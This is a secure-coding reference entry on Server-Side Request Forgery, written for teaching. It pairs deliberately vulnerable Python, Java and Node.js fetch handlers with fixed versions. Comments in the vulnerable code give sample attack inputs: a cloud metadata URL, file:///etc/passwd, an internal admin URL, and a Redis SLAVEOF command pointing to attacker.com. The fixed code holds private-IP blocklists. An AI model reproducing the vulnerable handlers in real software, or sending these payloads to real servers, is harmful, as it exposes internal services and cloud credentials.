Server-Side Request Forgery (SSRF)

Description

Server-Side Request Forgery (SSRF) occurs when a web application fetches a remote resource without validating the user-supplied URL. This allows attackers to coerce the application to send requests to an unexpected destination, even when protected by a firewall, VPN, or network access control list. Attackers can abuse SSRF to access internal services, cloud metadata endpoints, read local files (using file:// protocol), port scan internal networks, or interact with internal APIs. SSRF has become increasingly critical with cloud deployments where metadata services contain sensitive credentials.

Risk

SSRF is ranked in the CWE Top 25 and OWASP Top 10. CVE-2024-43394 in Apache HTTP Server allows SSRF that triggers SMB connections to attacker-controlled hosts, capturing NTLM authentication hashes for offline cracking or relay attacks. CVE-2025-59775 in Apache HTTP Server enables SSRF when AllowEncodedSlashes is enabled. CVE-2025-47437 in LiteSpeed Cache allows authenticated users to make server-side requests to internal resources. The Capital One breach exploited SSRF to access AWS metadata services, exposing 100+ million records. Tesla cryptojacking incidents used SSRF to access internal cloud infrastructure.

Solution

Validate and sanitize all user-supplied URLs. Implement allowlists for permitted domains and protocols. Block requests to private IP ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x, 127.x.x.x, 169.254.x.x). Disable unnecessary URL schemes (file://, gopher://, dict://). Use DNS resolution validation to prevent DNS rebinding. Implement network segmentation to limit SSRF impact. Block access to cloud metadata endpoints (169.254.169.254). Use IMDSv2 on AWS which requires session tokens. Monitor for unusual outbound connections.

Common Consequences

ImpactDetails
ConfidentialityScope: Internal Data Exposure

Attackers can read data from internal services, cloud metadata, and local files.
IntegrityScope: Internal Service Manipulation

SSRF can be used to modify data on internal services or trigger actions.
Access ControlScope: Firewall Bypass

Attackers bypass network security controls by using the server as a proxy.

Example Code + Solution Code

Vulnerable Code

# VULNERABLE: Fetching user-provided URL without validation
import requests
from flask import Flask, request

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    # Attacker provides: url=http://169.254.169.254/latest/meta-data/
    # Server fetches AWS metadata containing credentials!
    response = requests.get(url)
    return response.text

# VULNERABLE: Webhook with no URL validation
@app.route('/webhook', methods=['POST'])
def create_webhook():
    webhook_url = request.json['callback_url']
    # Store and later call this URL - could be internal service!
    save_webhook(webhook_url)
    return 'Webhook registered'

# VULNERABLE: Image proxy without validation
@app.route('/proxy/image')
def proxy_image():
    image_url = request.args.get('url')
    response = requests.get(image_url)
    return response.content, 200, {'Content-Type': 'image/png'}
// VULNERABLE: URL fetcher without validation
@RestController
public class UrlFetcherController {

    @GetMapping("/fetch")
    public String fetchUrl(@RequestParam String url) throws Exception {
        // Attacker: url=file:///etc/passwd
        URL urlObj = new URL(url);
        HttpURLConnection conn = (HttpURLConnection) urlObj.openConnection();
        return new String(conn.getInputStream().readAllBytes());
    }
}

// VULNERABLE: PDF generator with external resources
@PostMapping("/generate-pdf")
public byte[] generatePdf(@RequestBody PdfRequest request) {
    // Attacker includes: <img src="http://internal-api/admin/users">
    // PDF engine fetches internal URL!
    return pdfGenerator.generate(request.getHtml());
}
// VULNERABLE: Server-side fetch of user URL
app.get('/preview', async (req, res) => {
    const url = req.query.url;
    // Attacker: url=http://localhost:6379/SLAVEOF+attacker.com+6379
    // Redis command injection via SSRF!
    const response = await fetch(url);
    const html = await response.text();
    res.send(html);
});

// VULNERABLE: Avatar URL without validation
app.post('/profile', async (req, res) => {
    const avatarUrl = req.body.avatarUrl;
    // Download and save avatar - could be internal URL
    const avatar = await fetch(avatarUrl);
    await saveAvatar(req.user.id, await avatar.buffer());
    res.json({ success: true });
});

Fixed Code

# SAFE: URL validation with allowlist and blocklist
import requests
import ipaddress
from urllib.parse import urlparse
import socket

ALLOWED_SCHEMES = {'http', 'https'}
ALLOWED_DOMAINS = {'api.example.com', 'cdn.example.com'}
BLOCKED_IP_RANGES = [
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16'),  # AWS metadata
    ipaddress.ip_network('0.0.0.0/8'),
]

def is_safe_url(url):
    """Validate URL is safe to fetch."""
    try:
        parsed = urlparse(url)

        # Check scheme
        if parsed.scheme not in ALLOWED_SCHEMES:
            return False, "Invalid scheme"

        # Check against allowlist (if using allowlist approach)
        if ALLOWED_DOMAINS and parsed.hostname not in ALLOWED_DOMAINS:
            return False, "Domain not allowed"

        # Resolve hostname to IP and check against blocklist
        try:
            ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
        except (socket.gaierror, ValueError):
            return False, "Cannot resolve hostname"

        for blocked_range in BLOCKED_IP_RANGES:
            if ip in blocked_range:
                return False, "IP address blocked"

        return True, None

    except Exception as e:
        return False, str(e)

@app.route('/fetch')
def fetch_url_safe():
    url = request.args.get('url')

    is_safe, error = is_safe_url(url)
    if not is_safe:
        return f'Invalid URL: {error}', 400

    # Use timeout and disable redirects to prevent SSRF via redirect
    response = requests.get(url, timeout=5, allow_redirects=False)

    # Re-validate if redirect
    if response.is_redirect:
        return 'Redirects not allowed', 400

    return response.text

# SAFE: Webhook with strict domain validation
@app.route('/webhook', methods=['POST'])
def create_webhook_safe():
    webhook_url = request.json['callback_url']

    is_safe, error = is_safe_url(webhook_url)
    if not is_safe:
        return f'Invalid callback URL: {error}', 400

    save_webhook(webhook_url)
    return 'Webhook registered'
// SAFE: URL validation with IP blocklist
@RestController
public class SecureUrlFetcherController {

    private static final Set<String> ALLOWED_SCHEMES = Set.of("http", "https");
    private static final List<String> BLOCKED_PREFIXES = List.of(
        "10.", "172.16.", "172.17.", "172.18.", "172.19.",
        "172.20.", "172.21.", "172.22.", "172.23.", "172.24.",
        "172.25.", "172.26.", "172.27.", "172.28.", "172.29.",
        "172.30.", "172.31.", "192.168.", "127.", "169.254.", "0."
    );

    @GetMapping("/fetch")
    public String fetchUrlSafe(@RequestParam String url) throws Exception {
        URL urlObj = new URL(url);

        // Validate scheme
        if (!ALLOWED_SCHEMES.contains(urlObj.getProtocol().toLowerCase())) {
            throw new SecurityException("Invalid URL scheme");
        }

        // Resolve and validate IP
        InetAddress address = InetAddress.getByName(urlObj.getHost());
        String ip = address.getHostAddress();

        for (String prefix : BLOCKED_PREFIXES) {
            if (ip.startsWith(prefix)) {
                throw new SecurityException("Blocked IP address");
            }
        }

        // Additional check for loopback
        if (address.isLoopbackAddress() || address.isLinkLocalAddress()) {
            throw new SecurityException("Local addresses not allowed");
        }

        // Fetch with timeout
        HttpURLConnection conn = (HttpURLConnection) urlObj.openConnection();
        conn.setConnectTimeout(5000);
        conn.setReadTimeout(5000);
        conn.setInstanceFollowRedirects(false);

        return new String(conn.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
    }
}

// SAFE: PDF generation with sanitized content
@PostMapping("/generate-pdf")
public byte[] generatePdfSafe(@RequestBody PdfRequest request) {
    // Parse and sanitize HTML - remove external resources
    String sanitizedHtml = htmlSanitizer.sanitize(request.getHtml(),
        HtmlPolicy.NO_EXTERNAL_RESOURCES);

    return pdfGenerator.generate(sanitizedHtml);
}
// SAFE: Server-side fetch with comprehensive validation
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');

const BLOCKED_RANGES = [
    'private',      // 10.x, 172.16-31.x, 192.168.x
    'loopback',     // 127.x
    'linkLocal',    // 169.254.x
    'uniqueLocal',  // fc00::/7
];

async function isUrlSafe(urlString) {
    try {
        const url = new URL(urlString);

        // Check scheme
        if (!['http:', 'https:'].includes(url.protocol)) {
            return { safe: false, reason: 'Invalid protocol' };
        }

        // Resolve DNS
        const addresses = await dns.resolve4(url.hostname);

        for (const addr of addresses) {
            const ip = ipaddr.parse(addr);
            const range = ip.range();

            if (BLOCKED_RANGES.includes(range)) {
                return { safe: false, reason: `Blocked IP range: ${range}` };
            }
        }

        return { safe: true };
    } catch (error) {
        return { safe: false, reason: error.message };
    }
}

app.get('/preview', async (req, res) => {
    const url = req.query.url;

    const validation = await isUrlSafe(url);
    if (!validation.safe) {
        return res.status(400).json({ error: validation.reason });
    }

    try {
        const response = await fetch(url, {
            timeout: 5000,
            redirect: 'error'  // Don't follow redirects
        });

        const html = await response.text();
        res.send(html);
    } catch (error) {
        res.status(400).json({ error: 'Failed to fetch URL' });
    }
});

Exploited in the Wild

Capital One Data Breach (Capital One, 2019)

Attackers exploited SSRF through a misconfigured WAF to access AWS metadata services at 169.254.169.254, retrieving IAM credentials that provided access to S3 buckets containing personal information of 100+ million customers.

Apache HTTP Server NTLM Hash Capture (Apache, 2024)

CVE-2024-43394 in Apache HTTP Server 2.4.0-2.4.63 on Windows allows SSRF that triggers SMB connections to attacker-controlled hosts, enabling capture of NTLM authentication hashes for cracking or relay attacks.

LiteSpeed Cache SSRF (LiteSpeed, 2025)

CVE-2025-47437 in LiteSpeed Cache up to 7.0.1 allows authenticated users with low privileges to make server-side requests to internal or external resources without requiring user interaction.


Tools to test/exploit


CVE Examples


References

  1. MITRE. "CWE-918: Server-Side Request Forgery (SSRF)." https://cwe.mitre.org/data/definitions/918.html

  2. OWASP. "Server-Side Request Forgery Prevention Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html